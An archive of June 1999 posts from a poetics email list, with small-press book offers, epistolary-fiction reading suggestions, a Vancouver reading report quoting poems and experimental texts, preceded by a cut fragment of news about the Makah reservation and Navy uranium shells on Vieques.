overwhelmed to see this many native people together." In a statement called the "Makah Manifesto." Unemployment on the Makah reservation is as high as 75 percent for much of the year. Most of the housing for the 2,000 residents consists of trailers and small houses. Lieff Gutthiudaschmitt is a member of Union of Needletrades, Industrial and Textile Employees. SAN JUAN, Puerto Rico - U.S. Navy war maneuvers in Vieques, uranium-tipped shells at firing ranges in Vieques and Torii Shima, an uninhabited island off the coast of Okinawa. The Navy claims the radioactive shells the aircraft by mistake. David Sanes, a Vieques resident working as a security guard, was killed April 19 during an "accidental" bombing by U.S. Navy on the eastern end of Vieques, an island off the east coast of Puerto Rico inhabited by 9,300.

Protesting Northern Fishermen's Association occupying La Yayi' Cay, on the northeast tip of Vieques. The Puerto Rican Independence Party. Navy, 263 uranium shells in Vieques, the Navy 1,520 uranium bullets in Torii Shima in 1996. Uranium bullets are radioactive and toxic destructive power, carcinogenic uranium. Vieques has a cancer rate twice that of the rest of Puerto Rico.

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245. **Chris Stroffolino**

Re: quandry

Thu 24 Jun 1999

Jessica, just be careful. Sometimes a school will accept you without financial aid, and you'll be assured by some teachers there, "don't worry, the aid will come later in the summer. Just move here, etc." and the aid won't come and they'll say "funny, this never happened before" etc.... c

On Tue, 22 Jun 1999, Jessica Pompeii wrote:

> *QUESTION?*
> *I want to get a loan to put me through a great school. I live in Santa Monica and I hate driving, but I might hate idiot teachers more. I suppose I could move but my rent is cheap. I want to write. And study.. Any suggestions? These days no nunneries.*
> *Recommendations? I have no credentials. I went to Cal-Arts, but mom wouldn't pay. I went to Loyola but mom wouldn't pay. I went to Santa Monica City College, so mom didn't have to pay. I was accepted into UCLA but the thought of large classes, i.e.. parking was too much. I facilitate a poetry workshop at Beyond Baroque, but it doesn't pay for me to sit around and study and write.*
> *Mom says I should become a stock broker/consultant to old ladies whose husbands have died. Actually cousin Mickey made the suggestion to her. (She lives in Wisconsin, and wears a Mickey Mouse applique on her over coat.) Because mom reminds me women live longer then men.*
> *I can see the advertising already. Are you an old stupid hag who can't handle your money because you are a women and your husband is dead?*
> *Help!! Serious replies appreciated!!*
> *-Jessica*

↑ Index

246. Adeena Karasick
Message from Internet
Thu 24 Jun 1999

Louise Bak e-mail is [redacted]
cheers,
Adeena

↑ Index

247. Tom Beckett
limited supply of bromige diffs.
Thu 24 Jun 1999

Recently I closed out my account at Small Press Distribution. And so I have a few copies of the fabled David Bromige Issue of The Difficulties to offer for sale. After these copies are gone the thing will be officially out of print. A check for $10 made to Tom Beckett will result in a copy sent by first class mail.

Confirm your copy by back channel e-mail and then send your check to:

Tom Beckett
131 N. Pearl Street
Kent, OH 44240

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248. Dodie Bellamy
epistle
Thu 24 Jun 1999

Hi, I'm preparing a graduate level course on epistolary fiction. If any of you have any suggestions, please, please backchannel me. I want to extend the discussion to include The First Person and The Document. I'm especially interested in background/ historical/ theoretical readings on these issues--not particularly to assign, but to get my knowledge up to snuff. Also suggested epistolary fictions would be great. Plan so far to include Kathy Acker, Berndette Mayer's Mothers and Letters book (any article about that would be great), Dracula, probably stretch the envelope with Spicer's Letters to Lorca. Some older stuff, and probably some "real" letters to give context to the fiction. But, this is just a beginning.

Thanks for any help.

Dodie

↑ Index

249. **Michael Neff**
test
Thu 24 Jun 1999

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Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

↑ Index

250. **Alan Sondheim**
gratitude toward authors
Thu 24 Jun 1999

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gratitude toward authors

and j g suicide down by the river, gratitude towards authors, after doing ichikawa no reason to do so celan does it all abjection of violette leduc how could i do you nicole brossard does nothing to do after j g ballard but what do you think zeami does of my angst and angels rilke who does and holderlin really does just does that ichikawa could do his breath murasaki shikibu does me kimono kraus and tears and violette leduc and j g suicide down by the river and ichikawa on the radio down by the river where nicole does the slow sashes with zeami and celan half in half out of the water drying off

there's also the aspect of gratitude towards authors, doing what they're doing, we don't have to do the authors, as in 'have you done ryuichi tamura yet,' there's a knowledge in the container, open container, in the container's the wisdom we want, we don't have to open it

container's marked, floated down the river, j g ballard's there, body gone by, celan can't swim either, it's these moments grateful for the water in the jar, open it up, close it again, open it, close it, open it, close it, gratitude towards authors in the choice of the thing

or the making of it, what might be called an after thought, better again, future anterior, held close to the abdomen, breathed in slowly, in and out of the river, in the river, out of it, in the river, out of it, and grati- tude toward authors in the choice of the world and the rectitude of names, in the gift of the names, and forgetting the thing

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251. **Robert Archambeau**
SAMIZDAT #3/Free Offer
Fri 25 Jun 1999

SAMIZDAT #3 will be going to press later this month, and as usual I'm wrangling things so as to set a few free copies aside for POETICS folks.

The current issue is a special number devoted to Scandinavian poetry, and includes work by:

Anslem Hollo
Tomas Transtromer
Gunnar Harding
Marie Lundquist
Goran Sonnevi
Goran Print-Pahlson
Pia Tafdrup

and other amazing poets no one on this side of the Atlantic has read

Also:

Reviews of experimental Irish poetry

and Michael Anania's new book and CD

And:

A new column from Russia, by Masha Zavialova (some of you have seen her writing on the subsubpoetics list).

So here's the deal on the free issues:

IF you haven't received a free issue of Samizdat #1 or #2

AND you live in North America (sorry, postage on gratis issues to Europe and Australia is a killer)

THEN just e-mail me your street address, and we'll get an issue out to you as soon as they're printed.

Better yet, SUBSCRIBE:

$10 for three annual issues, checks made out to me, and sent to:

Samizdat
14 Campus Circle
Lake Forest, IL 60045

Single copies of current or back issues $3.50 each.

Robert Archambeau

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252. Kenneth Goldsmith
___ U B U W E B: N E W R E S O U R C E S :: J U N E 9 9 ___
Fri 25 Jun 1999

___ U B U W E B___VISUAL, CONCRETE + SOUND POETRY___

http://www.ubu.com

NEW RESOURCES JUNE 1999

Aram Saroyan, USA
Pages (Random House, 1969)
Aram Saroyan (Random House, 1968)
Flower Power (essay, 1999)

Antonin Artaud, France
Alienation et Magie Noire (rec. 1946)

Robert Ashley, USA
In Sara Mencken, Christ and Beethoven there were men and women (1972)

Erik Belgum, USA
Bad Marriage Mantra (1997)

ee cummings, USA
Two Sound Poems

Marcel Duchamp, France
The Creative Act (1957)

François Dufrene, France
Ouverture san Fin (1976)

Oyvind Fahlstrom, Sweden
Sound Poetry

Raoul Hausmann, Austria
Sound Poetry (1918 / 1959)

Richard Hulsenback
Phantastische Gebete (1916 / 1967)

James Joyce
Anna Livia Plurabelle (rec. 1929)

Kurt Schwitters
Complete Ursonate (1922-32)

Tristan Tzara
Pour Compte (1949)

Michael Basinski, Buffalo, NY, USA
The Feast of the Transfiguration of Acteon
Ode to Dee's Labels

Neil Hennessy, Canada
dam bam: a kerning exercise

Brian Kim Stefans, NYC, NY, USA,
The Naif and the Bluebells

___ U B U W E B___VISUAL, CONCRETE + SOUND POETRY___

HISTORICAL
-
Guillaume Apollinaire
Carlo Belloli
Max Bense
Wallace Berman
Bob Brown
Jean Francois Bory
Claus Bremer
Jose A. Cáceres
John Cage
Julio Campal
Henri Chopin
Augusto de Campos
Haraldo de Campos
Paul de Vree
Early Visual Poetry 1506-1726
Ian Hamilton Finlay
Carl Fernbach Flarsheim
John Furnival
Heinz Gappmayr
Jochen Gerz
Mathais Goeritz
Eugen Gomringer
Corrado Govoni
Philip Guston's Poem-Pictures
Vaclav Havel
Dom Sylvester Houedard
Ronald Johnson
Jiri Kolar

Ferdinard Kriwet
Lilian Lijn
Duda Machado
Armando Mazza
Franz Mon
b.p. Nichol
Clemente Padín
Decio Pignatari
Antonio Riserio
Aram Saroyan
Kurt Schwitters
Gino Severini
Takahashi Shohachiro
Mary Ellen Solt
Vagn Steen
Salette Tavares
Arrigo Lora Totino
Ivo Vroom
Emmett Williams
Pedro Xisto
Louis Zukofsky

SOUND POETRY
-
Guillaume Apollinaire
Pierre Andre Arcand
Antonin Artaud
Robert Ashley
Erik Belgum
Theo Bleckmann
Jaap Blonk
Lars-Gunnar Bodin
Anton Bruhin
John Cage
Augusto de Campos
Henri Chopin
Jean Cocteau
ee cummings
Marcel Duchamp
Francois Dufrene
Oyvind Fahlstrom
Brion Gysin

Sten Hanson
Raoul Hausmann
Richard Hulsenback
Bengt Emil Johnson
James Joyce
Joan La Barbara
Ilmar Laaban
Wyndham Lewis
Jackson Mac Low + Anne Tardos
F.T. Marinetti
Phil Minton
David Moss
Takayuki Nakano
bp Nichol
Kurt Schwitters
Gertrude Stein
Demetrio Stratos
Cecil Taylor
Edwin Torres
Tristan Tzara
Gregory Whitehead
Trevor Wishart

CONTEMPORARY
-
Bruce Andrews
Michael Basinski
Connie Beckley
Susan Bee
Laurel Beckman
Felix Bernstein
Charles Bernstein
Jake Berry
John Cayley
Cheryl Donegan
Johanna Drucker
Craig Dworkin
Elgar
Elson Froes
Loss Pequeno Glazier
Jesse Glass
Kenneth Goldsmith

Kenneth Goldsmith + Joan La Barbara
Julie Harrison + Joe Elliot
Neil Hennessy
Dick Higgins
Peter Jaeger
Alison Knowles
Brian Lennon
Tan Lin
Bill Luoma
William Marsh
Juliet Ann Martin
Mark Peters
Janan Platt
John Reeves
Dirk Rowntree
Blair Seagram
Spencer Selby
Alan Sondheim
Brian Kim Stefans
Ward Tietz
Edwin Torres
Nico Vassilakis
Ron Wakkary
Irving Weiss
Darren Wershler-Henry
Doc Wright
Jody Zellen
Paul Zelevansky
Komninos Zervos
Janet Zweig

FOUND AND INSANE POETRY
PAPERS
RESOURCES

___ U B U W E B___VISUAL, CONCRETE + SOUND POETRY___

http://www.ubu.com

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253. Poetics List
DEAD MEN TALKING / Brink
Fri 25 Jun 1999

had to reformat this message. Chris

--

From: "Leonard Brink" <[redacted]>
Date: Thu, 24 Jun 1999 08:57:45 -0700

DEAD MEN TALKING is a collaboration by Spencer Selby (as Andre Breton) & John Olson (as Tristan Tzara). The complete text is on-line at http://home.sprintmail.com/~windhover/deadmen.html

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254. Taylor Brady
Re: epistle
Fri 25 Jun 1999

Dodie,

Not really on epistolary fiction per se, but a few months ago Jocelyn Saidenburg pointed me toward DeQuincey's essay on the English mail coach, and I thought I should pass along the provocation. It works well to open up some of the hidden intersections of first-person subjectivity and state power in the letter form, and might serve as a starting point to get students thinking critically about the more conventional lit-crit approach to epistolary forms as hallmarks of the domestic. (Or to look at ways in which the domestic itself is implicated in more "public" kinds of power?)

Along oddly similar lines, and since, judging from the Mayer text, you're considering "fictive" as well as narrative-fictional approaches, might Dickinson's letters be of interest?

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Dodie Bellamy
Sent: Thursday, June 24, 1999 10:25 AM
To: [redacted]
Subject: epistle

Hi, I'm preparing a graduate level course on epistolary fiction. If any of you have any suggestions, please, please backchannel me. I want to extend the discussion to include The First Person and The Document. I'm especially

interested in background/ historical/ theoretical readings on these issues--not particularly to assign, but to get my knowledge up to snuff. Also suggested epistolary fictions would be great. Plan so far to include Kathy Acker, Berndette Mayer's Mothers and Letters book (any article about that would be great), Dracula, probably stretch the envelope with Spicer's Letters to Lorca. Some older stuff, and probably some "real" letters to give context to the fiction. But, this is just a beginning.

Thanks for any help.

Dodie

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255. MAXINE CHERNOFF
NAW 17 and Movie showing this week
Fri 25 Jun 1999

NAW 17 is just out: Cover by Susan Bee, work by Welish, Wheeler, Ratcliffe, Bernstein, Shoptaw, Revell, Keelan, Bedient, Sobin, Snow, Foss, Sikelianos, Willis, Equi, Messerli, Wellman, Tranter, Robinson, Schultz, Powell, Selby, Albon, Latta, Johnston, Baron, Loden, Muratori, Stroffolino, and many others. Order from NAW, 369 Molino, Mill Valley, CA 94941 or subscribe for $21/3 issues.

"Regret to Inform", a "tragic epic poem" about Viet Nam, written and directed by Barbara Sonneborn, is showing at Art Greenwich Theater for one week. It's a wonderful, important film, and everyone should see it.

Maxine Chernoff

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256. George Bowering
Re: epistle
Sat 26 Jun 1999

> *Hi, I'm preparing a graduate level course on epistolary fiction. If any of you have any suggestions,*

I once wanted to do such a course, but never got round to it. One of the most interesting novels I wanted to do was Robert Kroetsch's _Gone Indian_. In that one it is done not with letters (and the attendant question of narrator's meddling), but with tapes, made by this graduate student from upstate NY in northern Alberta.

George Bowering.

,

fax: [redacted]

↑ Index

257. Paul Naylor
epistle
Sun 27 Jun 1999

Dodi,

Seems that Nate Mackey's novels would be a perfect fit for your class. Sun & Moon has the first two out, _Bedouin Hornbook_ and _Djbot Baghostus's Run_, and they will publish the third _Atet A.D._, well, whenever.

Paul Naylor

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258. Jacques Debrot
Re: epistle
Sun 27 Jun 1999

If you are going to take any sort of historical perspective, it would be interesting to ask, why does the novel begin as an epistolary genre? Part of the answer might involve transformations in reading practices & new forms of privitazation in the 17th century. A good place to begin to look for answers is A HISTORY OF PRIVATE LIFE vol 3 PASSIONS OF THE RENAISSANCE. Also the controversy between Henry Fielding & Samuel Richardson over the ethical consequences of the epistolary novel is a fascinating one--and extremely relevant to our present day constructions of the idea of "author" & "authorship."

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259. MAXINE CHERNOFF
Re: NAW 17 and Movie showing this week
Sun 27 Jun 1999

Forgot to mention D. Bromige among distinguished contributors to NAW.

On Fri, 25 Jun 1999, MAXINE CHERNOFF wrote:

> *NAW 17 is just out: Cover by Susan Bee, work by Welish, Wheeler, Ratcliffe, Bernstein, Shoptaw, Revell, Keelan, Bedient, Sobin, Snow, Foss, Sikelianos, Willis, Equi, Messerli, Wellman, Tranter, Robinson, Schultz, Powell, Selby, Albon, Latta, Johnston, Baron, Loden, Muratori, Stroffolino, and many others. Order from NAW, 369 Molino, Mill Valley, CA 94941 or subscribe for $21/3 issues.*
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> *"Regret to Inform", a "tragic epic poem" about Viet Nam, written and*

> *directed by Barbara Sonneborn, is showing at Art Greenwich Theater for one week. It's a wonderful, important film, and everyone should see it.*
>
> *Maxine Chernoff*

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260. Catherine Daly
Re: epistle
Sun 27 Jun 1999

I just read two critical books I checked out of the library, and renewed the maximum numnber of times. The best books ever? no, but they were very useful as I was exploring relationships between love poetry and other poetry and occasional poetry and love letters. They gave me lots of ideas for a mini class I'm teaching six months from now. One's about a courtesan who used letter writing to bolster her literary reputation (also epistolary) in Venice, and another arguing that epistolary fiction written by women during a time in France when very little lyric poetry was written defined the genre.

Author
De Pree, Julia Knowlton.
Title(s)
The Ravishment of Persephone : epistolary lyric in the Siècle des Lumières Publisher
Chapel Hill, N.C. : University of North Carolina Press, 1998.
No. 258 North Carolina studies in the Romance languages and literatures ;
Notes
Includes bibliographical references (p. 159-164) and index.
Subjects
Epistolary fiction, French History and criticism.
French prose literature 18th century History and criticism.
French prose literature Women authors History and criticism.

Author
Rosenthal, Margaret F.
Title(s)
The honest courtesan : Veronica Franco, citizen and writer in sixteenth-century Venice

Publisher
Chicago : University of Chicago Press, 1992.
Series
Women in culture and society
Notes
Includes bibliographical references (p. 349-376) and index.
Subjects
Franco, Veronica, 1546-1591.
Courtesans Italy Biography.
Authors, Italian 16th century Biography.
Venice (Italy) Intellectual life.

Rgds,
Catherine Daly
[redacted]

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261. Charles Bernstein
Poetics Program Announcements
Sun 27 Jun 1999

I am very happy to announce that Samuel R. Delany will be joining the Poetics Program Core Faculty starting this Fall. It will be great to have Chip in Buffalo, teaching in both the graduate and undergraduate programs. Meanwhile, we have just redesigned the Poetics Program pages at the EPC -- more work is to be done, but for the moment it makes information about the Program as well as the Poetics List more easily accessible.

Check it out:

http://epc.buffalo.edu/poetics/

Charles

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262. Mark DuCharme
another shameless self promo
Sun 27 Jun 1999

New from Dead Metaphor Press:

Desire Series by Mark DuCharme. ISBN 1-880743-12-4. 24 pages. $5.00.

"The domestic is a crash test in Mark DuCharme’s party-of-the-first-part telling. He outs ‘Genders of the obvious’ and gets into ‘Gestures capped in answerable

wool.’ The ‘desire’ in this series is warier than that of, say, Barthes, where it is ‘taxidermy’ which is ‘lovely’ and where ‘The heart being nothing/ Agitates slightly.’" --Michael Gizzi

"In Mark DuCharme’s thoughtful and expansive poems, details accumulate around the magnetic poles of dream and experience, while the center of the field acts as a vanishing point between namables. It is in this shifting scale of dimension and focus that DuCharme’s work finds its cutting edge; he is a keen observer of the mind’s changing perspectives and transformational elements." --Charles Borkhuis

Mark DuCharme’s books include _Contracting Scale_ from Standing Stones Press, _Three Works (Invasive Map)_ from Oasis Press, and _Near To_ forthcoming from Poetry New York. He lives in Boulder, CO where he is co-director of the Left Hand Reading Series.

Order from:

Small Press Distribution
1341 Seventh Street
Berkeley, CA 94710-1409
[redacted]

or

Dead Metaphor Press
P.O. Box 2076
Boulder, CO 80306-2076
[redacted]

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263. Steven Clay
2,500+ poetry books, pamphlets and magazines
Sun 27 Jun 1999

Granary Books has prepared a catalog "Poems All Over the Place" and offers for sale books and pamphlets (used, out-of-print, & rare - at reasonable prices) from such writers as:

Acker, Adam, Andrews, Antin, Armantrout, Auster, Benson, Berkson, Bernstein, Berrigan, Berssenbrugge, bissett, Blackburn, Blaser, Brainard, Brautigan, Brodey, Bromige, Cage, Celan, Ceravalo, Clark, Clarke, Coolidge, Corbett, Corman, Corso, Creeley, H. D., Dahlen, Davidson, Davies, Dawson, di Prima, Dlugos, Dorn, Drucker, Dull, Duncan, DuPlessis, Economou, Eigner, Elmslie,

Enslin, Eshleman, Fagin, Finlay, Fraser, Gadd, Gilbert, Godfrey, Greenwald, Grenier, Grossinger, Guest, Harryman, Hejinian, Heller, Henderson, Higgins, Hocquard, Hollo, Howe (Susan and Fanny), Irby, Ignatow, Jess, Johnson, Jonas, Joris, Kamin, Kaufman, Kelly, Kiyooka, Knowles, Kyger, Lachance, Lansing, Lauterbach, levy, Loewinsohn, Loy, Lyons, Mac Low, Mayer, McCaffery, McClure, Melnick, Meltzer, Myles, Nichol, Notley, O'Hara, Olson (Charles and Toby), Oppen, Owen, Owens, Padgett, Palmer, Perelman, Prynne, Quasha, Rakosi, Rattray, Reed, Robinson, Rodefer, Rothenberg, Samperi, Sanders, Saroyan, Scalapino, Schiff, Schneeman, Schneemann, Schuyler, Schwerner, Silliman, Sondheim, Spicer, Stein, Tarn, Tate, Van Vliet, Veitch, Violi, Vostell, Wakoski, Waldman, Waldrop (Keith and Rosmarie), Warsh, Watson, Watten, Weiner, Welch, Whalen, Wieners, Williams, Winkfield, Wodening, Woolf, Young, Zelevansky, Zukofsky, Zweig,

to name but a few.

There are three primary ways to access this material:

1) Search or browse our database on-line through our website:
http://granarybooks.com
click on "search rare/op poetry books"
the on-line inventory is updated every week or so.

2) Our present catalog (basically a snapshot of the on-line inventory) can be e-mailed to you in the form of a text document. It is in a Claris 4.0 word processing file. One could scroll this document or print out a paper copy. The printout runs to some 130 pages (single-sided). Email your email address to:
[redacted]

3) We can snail mail a paper copy. Printing front and back the catalog runs to over 75 81/2 x 11 pages. Cost for photocopying and priority shipping is $15 within the domestic U.S.; $22 everywhere else (global priority). We can accept visa and mastercard to speed up the process if you wish to receive a catalog via the mail.

Thanks!
Steve Clay

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264. Patrick F. Durgin
Lusk
Sun 27 Jun 1999

If anyone happens to have a contact for Dorothy Trujillo Lusk, please pass it along. Thanks Patrick F. Durgin www.avalon.net/~kenning

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265. Bradford J Senning
Moving to NYC
Mon 28 Jun 1999

Greeting everyone,

I'm making the big move to Manhattan this summer and am currently going through the motions of finding a place there. If anybody on the listserv knows of any places opening up, I'm currently looking.

In the general vicinity of NYU is preferable. Inexpensive is also good (my girlfriend and I will be living there on student loans). But any information will be valuable.

Besides that, I wish to say that I'm looking forward to attending many of the poetry readings I keep hearing about on this listserv. Perhaps I will meet some of you at readings in the coming years.

Thanks for your time,
Bradford Senning

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266. Billy Little
Vancouver report
Mon 28 Jun 1999

Haven't been in Coquitlam for fifteen years, but Friday evening, Rojeanne, Jim and i braved rush hour traffic to catch the first poetry reading at the new Evergreen Culture Centre. Pierre Coupey, George Stanley and Sharon Thesen read to an appreciative crowd of fifty including Jerry Pethick, Michael DeCourcy, Marya Hindmarch, Goh Poh Seng, and Diane Forsythe. Pierre, the founding editor of the Capilano Review, whose paintings and prints graced the walls of the gallery opened the evening, reading a series of short, crisp, imagistic? poems, dedicated to the memory of his parents: VI

what did we speak when we spoke
figmental
phantoms leopards shooting stars

as if rest or dream were
possible imaginary
hand

grief & echo

the tones of you
taking us to
some knowledge of love

we did not know
we could be moved to

(comet in sky

square inch of earth

There's a nicely produced chapbook of these poems including the prints that accompany them and family snapshots, Requiem Notations I-IX, which was originally produced for a show of paintings and prints he hund last year at the Canadian Embassy in Tokyo.

George Stanley, the North American Rilke, followed starting of by reading Creeley's poem Histoire de Florida, then a few poems from his most recent collection, Gentle Northern Summer, ending too quickly with the brave and brilliant

VERACRUZ

In Veracruz, city of breezes & sailors & loud birds,
an old man, I walked the Malecon by the sea,

and I thought of my father, who when a young man
had walked the Malecon in Havana, dreaming of Brazil,

and I wished he had gone to Brazil
&learned magic,

and I wished my father had come back to San Francisco
armed with Brazilian magic, & that he had married
not my mother, but her brother, whom he truly loved.

I wish my father had, like Tiresias, changed himself into a woman,

and that he had been impregnated by my uncle, & given birth to me as a girl.

I wish that I had grown up in San Francisco as a girl,
a tall serious girl,

& that eventually I had come to Veracruz,
& walking on the Malecon, I had met a sailor,
a Mexican sailor or a sailor from some other country--
maybe a Brazilian sailor,
& that he had married me, & I had become pregnant
by him,

so that I could give birth at last to my son--the boy
I love.

After a short break, Sharon Thesen, the finest poet ever to come out of Prince George, acknowledging George's profundity, promised to be entertaining in contrast, she began with the poem George had requested:

I Drive The Car

I drive the car
while the choir ascends
toward a far transparency
these words tap at
with a show of politeness

I drive my car
and my friend also drives hers
& takes a detour to watch crows assemble
& disperse over the Cassiar Connector

They hang out there

I drive the car
afraid of the earthquake
& drive it
afraid of myself, what is it I
do, I wonder, & also what
others do, are they also
afraid?

Or else go crazy I drive the car
around in that
too, like a maniac like the wind

In the car someone's playing the piano
with an eye-patch on & the helium
voice of a drugged-out-poet, Besame Mucho,
& mucho federales
at the border

Where you can't step out
past a certain point painted
with certitude across the pavement &
why would you want to, anyway
enter that foreign country
all aplomb and curiosity

No, I drive the car,
I hope it works that the engine
don't fall apart. I think
oh, it will last five or ten years.
Then what. Another car.

My car I drive back & forth
around the town over bridges & here
and there, like everyone else
driving their cars. In the back seat
sits the ghost of your grandma.

I drive the car & pick up my friend
at her house, she comes out
the red door, I'm five minutes late
& we're laughing tragically by the time we
go past the SPCA

The road is black after dark rain
and it ends in the sea. Big semis
are minotaurs, some have smoke-stacks.
The air stings from tiny black particles
they blow at it, burdened and in a hurry

I put her in drive
& then I drive her & this
is what I do, I drive
the car.

from her sixth book, Aurora

then she read from unpublished poems, quickly terrifying herself by lapsing into profundity.
A great evening, too short most agreed.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

267. Stephen Vincent
Philip Whalen
Mon 28 Jun 1999

There was a downer review of Whalen's new Penquin collection (with intro by Leslie Scalapino) in yesterday's San Francisco Sunday Chronicle Book Review. I am not sure what the Chronicle critic was trying to perform other than he somehow missed and hardly gave a clue to the rich and various brilliance(s) of Whalen's work. While this work has fortunately managed to get published over the years, Whalen remains a wry counter-careerist which unfortunately has kept the poems from larger public assessment, celebration and/or review. Maybe obscurity is part of the character structure of some West coast giants. Kenneth Rexroth (who was very public) had a paranoid streak that caused him to slash every critic who crossed the horizon, leaving him dismissed from any real consideration in the modernist Canon. Retrieval efforts to recognize his work remain ongoing. Then there is Beverly Dahlen in hermetic, apparently quite non-careerist retreat. Lyn Hejinian (gratefully) (among a few others) for example, seems to have figured it out - keeping her generous critical mind and creative work at the public forefront - east, middle and west. Well, I diverged from my original intent. I'm pissed off at the Chron review. Which is to ask, has anyone read a good, substantial review of Whalen's new Collected? Cheers, Stephen Vincent

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268. Kyle Conner
SHAMELESS PROMOTION
Mon 28 Jun 1999

>came like it went
> by Greg Fuchs
>
>Buck Downs Books
>Washington, D.C.
>1999
>ISBN 1-886353-05-0
>
>Available through Buck Downs Books, P.O. Box 50376, Washington, D.C. 20091
>and Small Press Distribution, 1341 7th Street, Berkeley, 94710-1403; (510)
>[redacted]; www.spdbooks.org
>
> Andrei Codrescu
> "Greg Fuchs is building a stubborn island in the panic of late century

>techne. Like a bird, he gathers and defends bits of childhood, optimism of
>love, scents of New Orleans, political indignation--and glues them together
>with the spit of poetry. You can see this birdnest island from many miles
>off. Point your canoes to it--it's habitable."
>
>Stephen Rodefer
> "Greg Fuchs and his eponymous off-Broadway exploits amid the sometime
>murderous refurbishment of Times Square, are living proof of Gramsci's
>seamless theorem: derricks rain down upon our beds faster in hell. In other
>words, it is en route between Philly and New York that America at last
>succumbs to the subtraction of some of its parts. And labor's nuts awake,
>downsized from the last ditch effort to become a champ for her love. A
great
>way to arrive or to leave, smelling of gingko, wallpaper, and booty at the
>great cheetah banquet."
>
>Elinor Nauen
> "Greg Fuchs' poems are suave and charming, open and unafraid, sly,
>generous, gorgeous, edgy. It's clear that he "falls in love every morning"
>yet he's not sentimental--instead he hangs on to dis and dish. "The world
>shoves right
>on in" in these poems and we can't wait to grab a handful of real words:
>giddy, grace, tang, gumption, reckless, blue plate crayola, scuzzy, rogue.
>Scarcely a poem goes by that doesn't have a terrific line or two ("menage a
>trois is apparently the fin de siecle/cigar we're all preparing to smoke";
>"The love doll/deflates on the knoll"). There's more stuff here than you
can
>imagine--friends, romance, a life, adventures, thoughts deep and silly.
>"I've forgotten almost everything that's happened to me" he announces, but
>of course that's only after he's told us everything."
>
>
>
>
>
>
>

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269. **kathylou**
a+bend press
Mon 28 Jun 1999

Hello All,
I've gotten some inquiries concerning how to order my new
little book, so I'm posting that along with some
information about the press.

The a+bend press small book series is published in
conjunction with literary events organized by the editor,
Jill Stengel.

Titles include:
book three "as far as" by Jen Hofer
book four "Genealogy" by Kathy Lou Schultz
book five "22" by Katherine Spelling
book eight (forthcoming) by Susan Gevirtz & Myung Mi Kim

Books cost $5.00 each plus $2.00 shipping and handling.
Make checks payable to Jill Stengel.
3862 21st Street
San Francisco, CA 94114

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270. **kathylou**
Re: epistle
Mon 28 Jun 1999

On the poetic front, Erica Hunt's "Dear" and "Dear Dear"
series (don't have the title in front of me) in _Local
History_ is also a good example.

Kathy Lou Schultz
> Dodi,
>
> Seems that Nate Mackey's novels would be a perfect fit for your class.
> Sun & Moon has the first two out, _Bedouin Hornbook_ and _Djbot
> Baghostus's Run_, and they will publish the third _Atet A.D._, well,
> whenever.
>
> Paul Naylor

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271. Elizabeth Treadwell
Garrett Caples
Mon 28 Jun 1999

Seeking email contact for Garrett Caples.

Thanks.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

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272. Tony Green
Re: epistle
Mon 28 Jun 1999

---

seems to me epistles are rich in the forms of fiction & love poetry before the epistolary novel, read Vincent Voiture's letters?

+ courier service in early 17th century made horse-mail a reality, 2 weeks for a letter Paris to Rome is not bad by 20th c standards, -- provided the courier didnt get killed by brigands. Epistles ruined by pistols. B

ut then there were rumours (just rumours) not long ago of Italian mail service getting so overloaded that tons of mail was burned to speed delivery up a bit.

(& by the way, that made the Republique des Lettres possible, a widespread exchange on intellectual matters that wd if it cd have heartily embraced e-mail lists such as this) -- Hats off to our epistolary ancestors!

Tony Green

↑ Index

273. Alan Sondheim
A Terrific Tale with a Save at the End!
Mon 28 Jun 1999

=

A Terrific Tale with a Save at the End!

Tha faallng th$t flash h$s laft ma, th$t bpnas $ra hald by phpnamas
np lpngar sppkan, th$t tha Symbpl by tha Ha$rth h$s ch$rrad:
If I can't write, I won't be able to wait for you, O Existence!
I am afraid of opposites, each and everywhere.:W$ltlng:
I $m frld pf lpslng my $blllty tp wrlta!
I $m frld pf npn-axlstanca.:dissolved forever:

W$ltlng: I $m frld pf lpslng my $blllty tp wrlta!
I $m frld pf npn-axlstanca!
transforms Your Tha faallng th$t flash h$s laft ma,
th$t bpnas $ra hald by phpnamas np lpngar sppkan,
th$t tha Symbpl by tha Ha$rth h$s ch$rrad on Effaced Skin...
Ah, Living with No Longer Spoken!
Ch$rrad Phonemes: That Flash Has Left Me!
Spaachlass Bafora Thaa!

But then I know that if I get to Non-Existence first, I can beat it at its own game and really do it in, I can stomp and squish Non-Existence, Heh! already wet with the energy of it all, and then I'll return to speaking and singing and murmuring and whispering and talking and saying and tell- ing and even screaming and yelling and even speaking some more! Yes I will! Yes I will! Even speaking some more!

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274. **Steven Marks**
Re: epistle
Mon 28 Jun 1999

Although not strictly epistolary, the cronicas (chronicles) written by Clarice Lispector for the Sat. edition of The Brazilian News read like letters. She wrote these pieces over a period of six years and they are like a private six-year conversation to the public. New Directions published Selected Cronicas about two years ago.

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275. **vincet**
Re: Philip Whalen
Tue 29 Jun 1999

Hi Stephen, The man that reviews poetry for the chronicle has been writing those piece of shits for a long time. They don't do anything to shed light on the poets in question work, only show that he reviewer has bland taste and only seem to know poetry from the professional and encyclopedia not emotional or religious persective. Recently, I know there was new poetry reviews by somebody different that was on the mark, and direct, and honest, a review of John Ashberry and one other one, review of another poet. But I havent seen anything by him the past weeks of the book reviews. Maybe the Whalen reviewer got mad at the editor for encorachment of territory or something.

I definitely admit that Whalen is amazing poet, but this book is not the best. To much Buddism, kind of corny. But the introduction is terrible, hardly even readable. so maybe the whole book is cursed, anyway, but that would be sad but funny for a professional Buddist.

Good luck finding more reviews. Vincent

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276. John Tranter
Whalen review in Jacket # 7
Tue 29 Jun 1999

In a recent posting, Stephen Vincent asked:

"Which is to ask, has anyone read a good, substantial review of Whalen's new Collected?"

Jacket number seven (free, and published on the Internet only), not yet quite complete (mea culpa!) has a wonderful review by Tom Clark, at this URL

http://www.jacket.zip.com.au/jacket07/whalen-clark.html

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia tel ([redacted] fax ([redacted] Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

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277. Ron Silliman
Whalen
Tue 29 Jun 1999

